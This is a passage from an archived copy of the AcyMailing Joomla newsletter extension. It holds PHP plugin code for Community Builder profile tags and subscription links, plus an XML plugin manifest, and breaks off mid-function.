		$typeinfo[] = JHTML::_('select.option', "receiver", JText::_('RECEIVER_INFORMATION'));
		$typeinfo[] = JHTML::_('select.option', "sender", JText::_('SENDER_INFORMATIONS'));
		echo JHTML::_('acyselect.radiolist', $typeinfo, 'typeinfo', '', 'value', 'text', 'receiver');

		$text = '<table class="acymailing_table" cellpadding="1">';
		$db = JFactory::getDBO();
		$fields = acymailing_getColumns('#__comprofiler');

		$db->setQuery('SELECT name,type FROM #__comprofiler_fields');
		$fieldType = $db->loadObjectList('name');

		$k = 0;

		$text .= '<tr style="cursor:pointer" class="row1" onclick="applyTag(\'thumb\');" ><td class="acytdcheckbox"></td><td>Thumb Avatar</td></tr>';
		foreach($fields as $fieldname => $oneField){
			$type = '';
			if(strpos(strtolower($oneField), 'date') !== false) $type = '|type:date';
			if(!empty($fieldType[$fieldname]) AND $fieldType[$fieldname]->type == 'image') $type = '|type:image';
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\''.$fieldname.$type.'\');" ><td class="acytdcheckbox"></td><td>'.$fieldname.'</td></tr>';
			$k = 1 - $k;
		}


		$db->setQuery("SELECT * FROM #__comprofiler_fields WHERE tablecolumns = '' AND published = 1");
		$otherFields = $db->loadObjectList();
		foreach($otherFields as $oneField){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="applyTag(\'cbapi_'.$oneField->name.'\');" ><td class="acytdcheckbox"></td><td>'.$oneField->name.'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table>';

		echo $text;
	}

	function acymailing_replaceusertags(&$email, &$user, $send = true){
		$match = '#(?:{|%7B)cbtag:(.*)(?:}|%7D)#Ui';
		$variables = array('subject', 'body', 'altbody');
		$found = false;
		foreach($variables as $var){
			if(empty($email->$var)) continue;
			$found = preg_match_all($match, $email->$var, $results[$var]) || $found;
			if(empty($results[$var][0])) unset($results[$var]);
		}

		if(!$found) return;

		$uservalues = null;
		$db = JFactory::getDBO();
		if(!empty($user->userid)){
			$db->setQuery('SELECT * FROM '.acymailing_table('comprofiler', false).' WHERE user_id = '.$user->userid.' LIMIT 1');
			$uservalues = $db->loadObject();
		}

		$db->setQuery('SELECT fieldid, `table`, name, type, params FROM #__comprofiler_fields');
		$fieldObjects = $db->loadObjectList('name');

		include_once(ACYMAILING_ROOT.'administrator'.DS.'components'.DS.'com_comprofiler'.DS.'plugin.foundation.php');
		cbimport('cb.database');
		$pluginsHelper = acymailing_get('helper.acyplugins');
		$currentCBUser = null;

		$tags = array();
		foreach($results as $var => $allresults){
			foreach($allresults[0] as $i => $oneTag){
				if(isset($tags[$oneTag])) continue;

				$arguments = explode('|', $allresults[1][$i]);
				$field = $arguments[0];
				unset($arguments[0]);
				$mytag = new stdClass();
				$mytag->default = $this->params->get('default_'.$field, '');
				if(!empty($arguments)){
					foreach($arguments as $onearg){
						$args = explode(':', $onearg);
						if(isset($args[1])){
							$mytag->{$args[0]} = $args[1];
						}else{
							$mytag->{$args[0]} = 1;
						}
					}
				}

				$values = new stdClass();

				if(!empty($mytag->info) AND $mytag->info == 'sender'){
					if(empty($this->sendervalues[$email->mailid]) AND !empty($email->userid)){
						$db->setQuery('SELECT * FROM #__comprofiler WHERE user_id = '.$email->userid.' LIMIT 1');
						$this->sendervalues[$email->mailid] = $db->loadObject();
					}
					if(!empty($this->sendervalues[$email->mailid])) $values = $this->sendervalues[$email->mailid];
				}else{
					$values = $uservalues;
				}

				if(substr($field, 0, 6) == 'cbapi_'){
					if(!empty($mytag->info) AND $mytag->info == 'sender'){
						if(empty($this->sendervalues[$email->mailid]->$field) AND !empty($email->userid)){
							$currentSender = CBuser::getInstance($email->userid);
							$values->$field = $currentSender->getField(substr($field, 6), $mytag->default, 'html', 'none', 'profile', 0, true);
							$this->sendervalues[$email->mailid]->$field = $values->$field;
						}elseif(!empty($this->sendervalues[$email->mailid]->$field)){
							$values->$field = @$this->sendervalues[$email->mailid]->$field;
						}
					}elseif(!empty($user->userid)){
						if(empty($currentCBUser)) $currentCBUser = CBuser::getInstance($user->userid);
						if(!empty($currentCBUser)) $values->$field = $currentCBUser->getField(substr($field, 6), $mytag->default, 'html', 'none', 'profile', 0, true);
						if(empty($values->$field) && !empty($fieldObjects[substr($field, 6)]) && $fieldObjects[substr($field, 6)]->type == 'progress'){
							$fieldObjects[substr($field, 6)]->decodedParams = json_decode($fieldObjects[substr($field, 6)]->params);
							if(!empty($fieldObjects[substr($field, 6)]->decodedParams->prg_fields)){
								$requiredFields = explode('|*|', $fieldObjects[substr($field, 6)]->decodedParams->prg_fields);
								$filled_in = 0;
								foreach($fieldObjects as $oneField){
									if(!in_array($oneField->fieldid, $requiredFields) || !in_array($oneField->table, array('#__comprofiler', '#__users'))) continue;
									$fieldName = $oneField->name;
									if(!empty($currentCBUser->_cbuser->$fieldName)) $filled_in++;
								}
								$values->$field = intval(($filled_in * 100) / count($requiredFields)).'%';
							}
						}
					}
				}

				$replaceme = isset($values->$field) ? $values->$field : $mytag->default;
				if(!empty($mytag->type)){
					if($mytag->type == 'image' AND !empty($replaceme)){
						$replaceme = '<img src="'.ACYMAILING_LIVE.'images/comprofiler/'.$replaceme.'" alt="'.htmlspecialchars(@$user->name, ENT_COMPAT, 'UTF-8').'" />';
					}
				}

				if($field == 'thumb'){
					$replaceme = '<img src="'.ACYMAILING_LIVE.'images/comprofiler/tn'.$values->avatar.'" alt="'.htmlspecialchars(@$user->name, ENT_COMPAT, 'UTF-8').'" />';
				}elseif($field == 'avatar'){
					$replaceme = '<img src="'.ACYMAILING_LIVE.'images/comprofiler/'.$values->avatar.'" alt="'.htmlspecialchars(@$user->name, ENT_COMPAT, 'UTF-8').'" />';
				}

				$tags[$oneTag] = $replaceme;
				$pluginsHelper->formatString($tags[$oneTag], $mytag);
			}
		}

		foreach($results as $var => $allresults){
			$email->$var = str_replace(array_keys($tags), $tags, $email->$var);
		}
	}

	function onAcyDisplayActions(&$type){
		$fields = acymailing_getColumns('#__comprofiler');

		$field = array();
		$field[] = JHTML::_('select.option', 0, '- - -');
		foreach($fields as $oneField => $fieldType){
			if(in_array($oneField, array('id', 'user_id', 'hits', 'message_last_sent', 'message_number_sent', 'canvas', 'cbactivation'))) continue;
			$field[] = JHTML::_('select.option', $oneField, $oneField);
		}

		$content = '<div id="action__num__cbfieldval">'.JHTML::_('select.genericlist', $field, "action[__num__][cbfieldval][map]", 'class="inputbox" size="1"', 'value', 'text');
		$content .= ' = <input class="inputbox" type="text" id="action__num__cbfieldvalvalue" name="action[__num__][cbfieldval][value]" style="width:200px" value=""></div>';

		$type['cbfieldval'] = 'Community Builder: '.jtext::_('FIELD');

		return $content;
	}

	function onAcyProcessAction_cbfieldval($cquery, $action, $num){

		$replace = array('{year}', '{month}', '{weekday}', '{day}', '{hour}', '{minute}');
		$replaceBy = array(date('Y'), date('m'), date('N'), date('d'), date('H'), date('i'));
		$newValue = str_replace($replace, $replaceBy, acymailing_replaceDate($action['value']));

		if(preg_match_all('#{(year|month|weekday|day)\|(add|remove):([^}]*)}#Uis', $newValue, $results)){
			foreach($results[0] as $i => $oneMatch){
				$format = str_replace(array('year', 'month', 'weekday', 'day'), array('Y','m','N','d'), $results[1][$i]);
				$delay = str_replace(array('add', 'remove'), array('+', '-'), $results[2][$i]).intval($results[3][$i]).' '.str_replace('weekday', 'day', $results[1][$i]);
				$newValue = str_replace($oneMatch, date($format, strtotime($delay)), $newValue);
			}
		}

		if(empty($action['operator'])) $action['operator'] = '=';

		$fields = array_keys(acymailing_getColumns('#__comprofiler'));
		if(!in_array($action['map'], $fields)) return 'Unexisting field: '.$action['map'].' | The available fields are: '.implode(', ', $fields);

		$query = 'UPDATE #__comprofiler AS cb JOIN #__acymailing_subscriber AS sub ON cb.user_id = sub.userid';
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);

		$query .= " SET cb.`".acymailing_secureField($action['map'])."` = ".$cquery->db->Quote($newValue);
		if(!empty($cquery->where)) $query .= ' WHERE ('.implode(') AND (', $cquery->where).')';

		$cquery->db->setQuery($query);
		$cquery->db->query();
		$nbAffected = $cquery->db->getAffectedRows();
		return JText::sprintf('NB_MODIFIED', $nbAffected);
	}
}//endclass
com_acymailing/extensions/plg_acymailing_tagsubscription/index.html000060400000000054152455305300022167 0ustar00<html><body bgcolor="#FFFFFF"></body></html>com_acymailing/extensions/plg_acymailing_tagsubscription/tagsubscription.xml000060400000013735152455305300024146 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE install SYSTEM "http://dev.joomla.org/xml/1.5/plugin-install.dtd">
<install type="plugin" version="1.5" method="upgrade" group="acymailing">
	<name>AcyMailing Tag : Manage the Subscription</name>
	<creationDate>March 2018</creationDate>
	<version>5.9.6</version>
	<author>Acyba</author>
	<authorEmail>dev@acyba.com</authorEmail>
	<authorUrl>http://www.acyba.com</authorUrl>
	<copyright>Copyright (C) 2009-2018 ACYBA SAS - All rights reserved..</copyright>
	<license>GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html</license>
	<description>This plugin enables you to add link to manage the subscription of the user</description>
	<files>
		<filename plugin="tagsubscription">tagsubscription.php</filename>
	</files>
	<params addpath="/components/com_acymailing/params">
		<param name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscription"/>
		<param name="unsubscribetemplate" type="radio" default="0" label="Display the unsubscribe page" description="Select if you want to display the unsubscribe page (when the user clicks on the unsubscribe link) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="0">Standard template</option>
			<option value="1">No template</option>
		</param>
		<param name="listunsubscribe" type="radio" default="0" label="Add list-unsubscribe header" description="If you insert an unsubscribe link, should Acy also insert the link in the list-unsubscribe field? See www.list-unsubscribe.com">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="listunsubscribeemail" type="text" size="20" default="" label="List-unsubscribe e-mail" description="The GMail feedback loops works with a list-unsubscribe e-mail address. By default Acy will add the reply-to e-mail address but you can specify another e-mail address there" />
		<param name="modifytemplate" type="radio" default="0" label="Display the modify your subscription" description="Select if you want to display the modify your subscription page (when the user clicks on the modify you subscription link) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="0">Standard template</option>
			<option value="1">No template</option>
		</param>
		<param name="confirmtemplate" type="radio" default="0" label="Display the confirmation page" description="Select if you want to display the confirmation page (when the user clicks on the confirmation link) without any Joomla module (no template) or inside your default Joomla Template">
			<option value="0">Standard template</option>
			<option value="1">No template</option>
		</param>
		<param name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscription filter on the Newsletter creation interface">
			<option value="0">JOOMEXT_NO</option>
			<option value="1">JOOMEXT_YES</option>
		</param>
		<param name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
			<option value="all">Always display this tag system</option>
			<option value="none">Don't display this tag system on the front-end</option>
		</param>
	</params>
	<config>
		<fields name="params" addfieldpath="/components/com_acymailing/params">
			<fieldset name="basic">
				<field name="help" type="help" label="Help" description="Click on the help button to get some help" default="plugin-tagsubscription"/>
				<field name="unsubscribetemplate" type="radio" default="0" label="Display the unsubscribe page" description="Select if you want to display the unsubscribe page (when the user clicks on the unsubscribe link) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="0">Standard template</option>
					<option value="1">No template</option>
				</field>
				<field name="listunsubscribe" type="radio" default="0" label="Add list-unsubscribe header" description="If you insert an unsubscribe link, should Acy also insert the link in the list-unsubscribe field? See www.list-unsubscribe.com">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="listunsubscribeemail" type="text" size="20" default="" label="List-unsubscribe e-mail" description="The GMail feedback loops works with a list-unsubscribe e-mail address. By default Acy will add the reply-to e-mail address but you can specify another e-mail address there" />
				<field name="modifytemplate" type="radio" default="0" label="Display the modify your subscription" description="Select if you want to display the modify your subscription page (when the user clicks on the modify you subscription link) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="0">Standard template</option>
					<option value="1">No template</option>
				</field>
				<field name="confirmtemplate" type="radio" default="0" label="Display the confirmation page" description="Select if you want to display the confirmation page (when the user clicks on the confirmation link) without any Joomla module (no template) or inside your default Joomla Template">
					<option value="0">Standard template</option>
					<option value="1">No template</option>
				</field>
				<field name="displayfilter_mail" type="radio" default="1" label="Display filter" description="Display the subscription filter on the Newsletter creation interface">
					<option value="0">JOOMEXT_NO</option>
					<option value="1">JOOMEXT_YES</option>
				</field>
				<field name="frontendaccess" type="list" default="all" label="Front-end Access" description="You can restrict the access to this tag system with this option">
					<option value="all">Always display this tag system</option>
					<option value="none">Don't display this tag system on the front-end</option>
				</field>
			</fieldset>
		</fields>
	</config>
</install>
com_acymailing/extensions/plg_acymailing_tagsubscription/tagsubscription.php000060400000104064152455305300024131 0ustar00<?php
/**
 * @package	AcyMailing for Joomla!
 * @version	5.9.6
 * @author	acyba.com
 * @copyright	(C) 2009-2018 ACYBA S.A.R.L. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */

defined('_JEXEC') or die('Restricted access');
?><?php

class plgAcymailingTagsubscription extends JPlugin{
	var $listunsubscribe = false;
	var $lists = array();
	var $listsowner = array();
	var $listsinfo = array();
	var $campaigns = array();
	var $unsubscribeLink = false;
	var $unsubscribeItem = '';

	function __construct(&$subject, $config){
		parent::__construct($subject, $config);
		if(!isset($this->params)){
			$plugin = JPluginHelper::getPlugin('acymailing', 'tagsubscription');
			$this->params = new acyParameter($plugin->params);
		}
		$this->acypluginsHelper = acymailing_get('helper.acyplugins');
	}

	function acymailing_getPluginType(){

		if($this->params->get('frontendaccess') == 'none' && !acymailing_isAdmin()) return;
		$onePlugin = new stdClass();
		$onePlugin->name = acymailing_translation('SUBSCRIPTION');
		$onePlugin->function = 'acymailingtagsubscription_show';
		$onePlugin->help = 'plugin-tagsubscription';

		return $onePlugin;
	}

	function acymailingtagsubscription_show(){

		$others = array();
		$others['unsubscribe'] = array('name' => acymailing_translation('UNSUBSCRIBE_LINK'), 'default' => acymailing_translation('UNSUBSCRIBE', true));
		$others['modify'] = array('name' => acymailing_translation('MODIFY_SUBSCRIPTION_LINK'), 'default' => acymailing_translation('MODIFY_SUBSCRIPTION', true));
		$others['confirm'] = array('name' => acymailing_translation('CONFIRM_SUBSCRIPTION_LINK'), 'default' => acymailing_translation('CONFIRM_SUBSCRIPTION', true));
		$others['subscribe'] = array('name' => acymailing_translation('SUBSCRIBE_LINK'), 'default' => acymailing_translation('SUBSCRIBE', true));

		?>
		<script language="javascript" type="text/javascript">
			<!--
			var openLists = true;
			var selectedTag = '';
			function changeTag(tagName){
				selectedTag = tagName;
				defaultText = [];
				<?php
				$k = 0;
				foreach($others as $tagname => $tag){
					echo "document.getElementById('tr_$tagname').className = 'row$k';";
					echo "defaultText['$tagname'] = '".$tag['default']."';";
					$k = 1 - $k;
				}
				?>
				document.getElementById('tr_' + tagName).className = 'selectedrow';
				document.adminForm.tagtext.value = defaultText[tagName];
				if(tagName == 'subscribe'){
					document.getElementById('iframelists').style.display = '';
					document.getElementById('subscriptionlists').style.display = '';
					if(openLists) displayLists();
				}else{
					document.getElementById('iframelists').style.display = 'none';
					document.getElementById('subscriptionlists').style.display = 'none';
				}
				setSubscriptionTag();
			}

			function setSubscriptionTag(){
				var tag = '{' + selectedTag;

				if(document.getElementById('tagmenu').value != 0) tag += "|itemid:" + document.getElementById('tagmenu').value;
				if(selectedTag == 'subscribe') tag += "|lists:" + document.getElementById('paramslistids').value;

				tag += '}' + document.adminForm.tagtext.value + '{/' + selectedTag + '}'
				setTag(tag);
			}

			function displayLists(){
				var box = document.getElementById('iframelists');
				if(openLists){
					box.style.display = 'block';
					box.className += ' slide_open';
				}else{
					box.className = box.className.replace('slide_open', 'slide_close');
				}

				if(!openLists) setSubscriptionTag();
				openLists = !openLists;
			}
			//-->
		</script>
		<?php

		acymailing_addScript(true, "document.addEventListener(\"DOMContentLoaded\", function(){ changeTag('unsubscribe'); });");

		$text = '<div id="iframelists" style="display:none;"><iframe src="index.php?option=com_acymailing&tmpl=component&ctrl='.(acymailing_isAdmin() ? '' : 'front').'chooselist&popup=0&task=listids&all=0" width="98%" height="100%" scrolling="auto"></iframe></div>
				<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('SUBSCRIPTION').'</span>
					<table class="acymailing_table" cellpadding="1">';
		$menus = acymailing_loadObjectList('SELECT 0 AS id, "- - -" AS title UNION SELECT id, title FROM #__menu WHERE link LIKE "%com_acymailing%" AND client_id = 0 AND published = 1');
		$text .= '<tr>
					<td><label for="tagtext">'.acymailing_translation('FIELD_TEXT').': </label><input type="text" name="tagtext" id="tagtext" onchange="setSubscriptionTag();"></td>
					<td><label for="tagmenu">'.acymailing_translation('ACY_MENU').': </label>'.acymailing_select($menus, "tagmenu", 'class="inputbox" size="1" onchange="setSubscriptionTag();"', 'id', 'title', '').'</td>
				</tr>
				<tr id="subscriptionlists">
					<td colspan="2">
						<button class="acymailing_button_grey" onclick="displayLists();return false;">'.acymailing_translation('LISTS').'</button>
						<input class="inputbox" id="paramslistids" name="listids" type="text" style="width:100px" value="">
					</td>
				</tr>';
		$text .= '</table>
					<table class="acymailing_table" cellpadding="1">';

		$k = 0;
		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="changeTag(\''.$tagname.'\');" id="tr_'.$tagname.'" ><td class="acytdcheckbox"></td><td>'.$tag['name'].'</td></tr>';
			$k = 1 - $k;
		}
		$text .= '</table></div>';

		$others = array();
		$others['name'] = acymailing_translation('LIST_NAME');
		$others['names'] = acymailing_translation('ACY_LIST_NAMES');
		$others['description'] = acymailing_translation('ACY_DESCRIPTION');
		$others['count'] = trim(acymailing_translation('GEOLOC_NB_USERS', true), ':');
		$others['count|listid:0'] = trim(acymailing_translation('GEOLOC_NB_USERS', true), ':').' ('.acymailing_translation('ALL_LISTS').')';
		$others['id'] = acymailing_translation('ACY_ID', true);

		$text .= '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('LIST').'</span>
					<table class="acymailing_table" cellpadding="1">';

		$k = 0;
		foreach($others as $tagname => $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{list:'.$tagname.'}\');insertTag();" id="tr_'.$tagname.'" ><td class="acytdcheckbox"></td><td>'.$tag.'</td></tr>';
			$k = 1 - $k;
		}

		$text .= '</table></div>';

		$text .= '<div class="onelineblockoptions">
					<span class="acyblocktitle">'.acymailing_translation('NEWSLETTER').'</span>
					<table class="acymailing_table" cellpadding="1">';
		$othersMail = array('mailid', 'subject', 'alias', 'key', 'altbody');
		$k = 0;
		foreach($othersMail as $tag){
			$text .= '<tr style="cursor:pointer" class="row'.$k.'" onclick="setTag(\'{mail:'.$tag.'}\');insertTag();" id="tr_'.$tag.'" ><td class="acytdcheckbox"></td><td>'.$tag.'</td></tr>';
			$k = 1 - $k;
		}
		$text .= '</table></div>';

		echo $text;
	}

	function onAcyDisplayActions(&$type){
		$type['list'] = acymailing_translation('ACYMAILING_LIST');
		$status = array();
		$status[] = acymailing_selectOption(1, acymailing_translation('SUBSCRIBE_TO'));
		$status[] = acymailing_selectOption(0, acymailing_translation('REMOVE_FROM'));
		$status[] = acymailing_selectOption(-1, acymailing_translation('ACY_UNSUB_FROM'));

		$lists = $this->_getLists();
		$otherlists = array();
		$onChange = '';
		if(acymailing_level(3)){
			$otherlists = acymailing_loadObjectList('SELECT b.listid, b.name FROM #__acymailing_listcampaign as a JOIN #__acymailing_list as b on a.listid = b.listid GROUP BY b.listid ORDER BY b.ordering ASC', 'listid');
			$onChange = 'onchange="onAcyDisplayAction_list(__num__);"';

			$js = "function onAcyDisplayAction_list(num){
				if(!document.getElementById('campaigndelay'+num)) return;
				if(document.getElementById('subliststatus'+num).value == 1 && document.getElementById('sublistvalue'+num).value.indexOf('_campaign') > 0){
					document.getElementById('campaigndelay'+num).style.display = 'inline';
				}else{
					document.getElementById('campaigndelay'+num).style.display = 'none';
				}
			}";
			acymailing_addScript(true, $js);
		}

		$listsdrop = array();
		foreach($lists as $oneList){
			if(!empty($otherlists[$oneList->listid])) $listsdrop[] = acymailing_selectOption($oneList->listid.'_campaign', $otherlists[$oneList->listid]->name.' + '.acymailing_translation('CAMPAIGN'));
			$listsdrop[] = acymailing_selectOption($oneList->listid, $oneList->name);
		}

		$return = '<div id="action__num__list">'.acymailing_select($status, "action[__num__][list][status]", 'class="inputbox" size="1" '.$onChange, 'value', 'text', '', 'subliststatus__num__').' '.acymailing_select($listsdrop, "action[__num__][list][selectedlist]", 'class="inputbox" size="1" '.$onChange, 'value', 'text', '', 'sublistvalue__num__');
		if(!empty($otherlists)){
			$delay = array();
			$delay[] = acymailing_selectOption('day', acymailing_translation('DAYS'));
			$delay[] = acymailing_selectOption('week', acymailing_translation('WEEKS'));
			$delay[] = acymailing_selectOption('month', acymailing_translation('MONTHS'));

			$listHours = array();
			$listHours[] = acymailing_selectOption('', '- -');
			for($i = 0; $i < 24; $i++){
				$listHours[] = acymailing_selectOption(($i < 10 ? '0'.$i : $i), ($i < 10 ? '0'.$i : $i));
			}
			$hours = acymailing_select($listHours, 'action[__num__][list][sendhours]', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', '');

			$listMinutess = array();
			$listMinutess[] = acymailing_selectOption('', '- -');
			for($i = 0; $i < 60; $i += 5){
				$listMinutess[] = acymailing_selectOption(($i < 10 ? '0'.$i : $i), ($i < 10 ? '0'.$i : $i));
			}
			$minutes = acymailing_select($listMinutess, 'action[__num__][list][sendminutes]', 'class="inputbox" size="1" style="width:60px;"', 'value', 'text', '');

			$return .= '<br /><span id="campaigndelay__num__">'.acymailing_translation_sprintf('TRIGGER_CAMPAIGN', '<input type="text" name="action[__num__][list][delaynum]" value="0" style="width:50px" />', acymailing_select($delay, "action[__num__][list][delaytype]", 'class="inputbox" size="1" style="width:120px;"', 'value', 'text')).' @ '.$hours.' : '.$minutes;
			$return .= '<br />'.acymailing_translation_sprintf('ACY_CAMPAIGN_NB_FOLLOW_SKIPED', '<input type="text" name="action[__num__][list][skipedfollowups]" value="0" style="width:25px;" />').'</span>';
		}
		$return .= '</div>';

		return $return;
	}

	private function _getLists(){
		if(!empty($this->allLists)) return $this->allLists;
		$list = acymailing_get('class.list');
		if(acymailing_isAdmin()){
			$this->allLists = $list->getLists();
		}else{
			$this->allLists = $list->getFrontendLists();
		}

		return $this->allLists;
	}

	private function _getCampaigns(){

		$list = acymailing_get('class.list');
		if(acymailing_isAdmin()){
			return $list->getAllCampaigns();
		}
		return $list->getFrontendCampaigns();
	}

	function onAcyDisplayFilters(&$type, $context = "massactions"){

		if($this->params->get('displayfilter_'.$context, true) == false) return;

		$type['list'] = acymailing_translation('ACYMAILING_LIST');
		$status = acymailing_get('type.statusfilterlist');
		$status->extra = 'onchange="countresults(__num__);"';

		$lists = $this->_getLists();
		$campaigns = $this->_getCampaigns();
		$listsdrop = array();

		$listsdrop[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('LISTS'));
		foreach($lists as $oneList){
			$listsdrop[] = acymailing_selectOption($oneList->listid, $oneList->name);
		}
		$listsdrop[] = acymailing_selectOption('</OPTGROUP>');

		if(count($campaigns) > 0){
			$listsdrop[] = acymailing_selectOption('<OPTGROUP>', acymailing_translation('ACY_CAMPAIGNS'));
			foreach($campaigns as $campaign){
				$listsdrop[] = acymailing_selectOption($campaign->listid, $campaign->name);
			}
			$listsdrop[] = acymailing_selectOption('</OPTGROUP>');
		}
		
		$dates = array();
		$dates[] = acymailing_selectOption(0, acymailing_translation('SUBSCRIPTION_DATE'));
		$dates[] = acymailing_selectOption(1, acymailing_translation('UNSUBSCRIPTION_DATE'));

		$filter = '<div id="filter__num__list">'.$status->display("filter[__num__][list][status]", 1, false).' '.acymailing_select($listsdrop, "filter[__num__][list][selectedlist]", 'class="inputbox" style="max-width:200px" size="1" onchange="countresults(__num__)"', 'value', 'text');
		$filter .= '<br /><input type="text" name="filter[__num__][list][subdateinf]" onclick="displayDatePicker(this,event)" onchange="countresults(__num__)" style="width:60px;" /> < '.acymailing_select($dates, "filter[__num__][list][dates]", 'class="inputbox" style="max-width:200px" size="1" onchange="countresults(__num__)"', 'value', 'text').' < <input type="text" name="filter[__num__][list][subdatesup]" onclick="displayDatePicker(this,event)" onchange="countresults(__num__)" style="width:60px;" /></div>';
		return $filter;
	}

	function onAcyProcessFilter_list(&$query, $filter, $num){
		$otherconditions = '';
		$field = empty($filter['dates']) ? 'subdate' : 'unsubdate';
		if(!empty($filter['subdateinf'])){
			$filter['subdateinf'] = acymailing_replaceDate($filter['subdateinf']);
			if(!is_numeric($filter['subdateinf'])) $filter['subdateinf'] = strtotime($filter['subdateinf']);
			if(!empty($filter['subdateinf'])) $otherconditions .= ' AND list'.$num.'.'.$field.' > '.$filter['subdateinf'];
		}

		if(!empty($filter['subdatesup'])){
			$filter['subdatesup'] = acymailing_replaceDate($filter['subdatesup']);
			if(!is_numeric($filter['subdatesup'])) $filter['subdatesup'] = strtotime($filter['subdatesup']);
			if(!empty($filter['subdatesup'])) $otherconditions .= ' AND list'.$num.'.'.$field.' < '.$filter['subdatesup'];
		}

		$query->leftjoin['list'.$num] = '#__acymailing_listsub AS list'.$num.' ON sub.subid = list'.$num.'.subid AND list'.$num.'.listid = '.intval($filter['selectedlist']).$otherconditions;
		if($filter['status'] == -2){
			$query->where[] = 'list'.$num.'.listid IS NULL';
		}else{
			$query->where[] = 'list'.$num.'.status = '.intval($filter['status']);
		}
	}

	function onAcyProcessFilterCount_list(&$query, $filter, $num){
		$this->onAcyProcessFilter_list($query, $filter, $num);
		return acymailing_translation_sprintf('SELECTED_USERS', $query->count());
	}

	function onAcyProcessAction_list($cquery, $action, $num){
		$listid = intval($action['selectedlist']);
		$listClass = acymailing_get('class.list');
		if(is_numeric($action['selectedlist'])){
			$myList = $listClass->get($listid);
			if(empty($myList->listid)){
				return 'ERROR : List '.$listid.' not found';
			}

			if(empty($action['status'])){
				$query = 'DELETE listremove.* FROM '.acymailing_table('listsub').' AS listremove ';
				$query .= 'JOIN #__acymailing_subscriber AS sub ON listremove.subid = sub.subid ';
				if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
				if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
				$query .= ' WHERE listremove.listid = '.$listid;
				if(!empty($cquery->where)) $query .= ' AND ('.implode(') AND (', $cquery->where).')';
			}elseif($action['status'] == -1){
				$query = 'UPDATE '.acymailing_table('listsub').' AS listsub'.$num.' JOIN '.acymailing_table('subscriber').' AS sub ON listsub'.$num.'.subid = sub.subid ';
				if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
				if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
				$query .= ' SET listsub'.$num.'.status = -1, listsub'.$num.'.unsubdate = '.time().' WHERE listsub'.$num.'.listid = '.$listid;
				if(!empty($cquery->where)) $query .= ' AND ('.implode(') AND (', $cquery->where).')';
			}else{
				$query = 'INSERT IGNORE INTO '.acymailing_table('listsub').' (listid,subid,subdate,status) ';
				$query .= $cquery->getQuery(array($listid, 'sub.subid', time(), 1));
			}
			$nbsubscribed = acymailing_query($query);

			if(empty($action['status'])){
				return acymailing_translation_sprintf('IMPORT_REMOVE', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
			}elseif($action['status'] == -1){
				return acymailing_translation_sprintf('NB_UNSUB_USERS', $nbsubscribed);
			}else{
				return acymailing_translation_sprintf('IMPORT_SUBSCRIBE_CONFIRMATION', $nbsubscribed, '<b><i>'.$myList->name.'</i></b>');
			}
		}

		$myList = $listClass->get($listid);
		if(empty($myList->listid)){
			return 'ERROR : List '.$listid.' not found';
		}
		if(empty($action['status'])){
			$query = 'SELECT listremove.`subid` FROM #__acymailing_listsub as listremove';
			$query .= ' JOIN #__acymailing_subscriber as sub ON listremove.subid = sub.subid ';
			$condition = ' WHERE listremove.listid = '.$listid;
		}elseif($action['status'] == -1){
			$query = 'SELECT listunsub.`subid` FROM #__acymailing_listsub as listunsub JOIN #__acymailing_subscriber as sub ON listunsub.subid = sub.subid ';
			$condition = ' WHERE listunsub.listid = '.$listid.' AND listunsub.status != -1';
		}else{
			$query = 'SELECT sub.`subid` FROM #__acymailing_subscriber as sub';
			$query .= ' LEFT JOIN #__acymailing_listsub as listsubscribe ON listsubscribe.subid = sub.subid AND listsubscribe.listid = '.$listid;
			$condition = ' WHERE listsubscribe.subid IS NULL';
		}
		if(!empty($cquery->join)) $query .= ' JOIN '.implode(' JOIN ', $cquery->join);
		if(!empty($cquery->leftjoin)) $query .= ' LEFT JOIN '.implode(' LEFT JOIN ', $cquery->leftjoin);
		$query .= $condition;
		if(!empty($cquery->where)) $query .= ' AND ('.implode(') AND (', $cquery->where).')';
		if(!empty($cquery->orderBy)) $query .= ' ORDER BY '.$cquery->orderBy;
		if(!empty($cquery->limit)) $query .= ' LIMIT '.intval($cquery->limit);
		$subids = acymailing_loadResultArray($query);

		if(!empty($subids)){
			$listsubClass = acymailing_get('class.listsub');
			$time = time();
			$timeFunction = 'acymailing_getTime';
			if(!isset($action['sendhours']) || strlen($action['sendhours']) < 1){
				$action['sendhours'] = '%H';
				$timeFunction = 'strftime';
			}
			if(!isset($action['sendminutes']) || strlen($action['sendminutes']) < 1) $action['sendminutes'] = '%M';
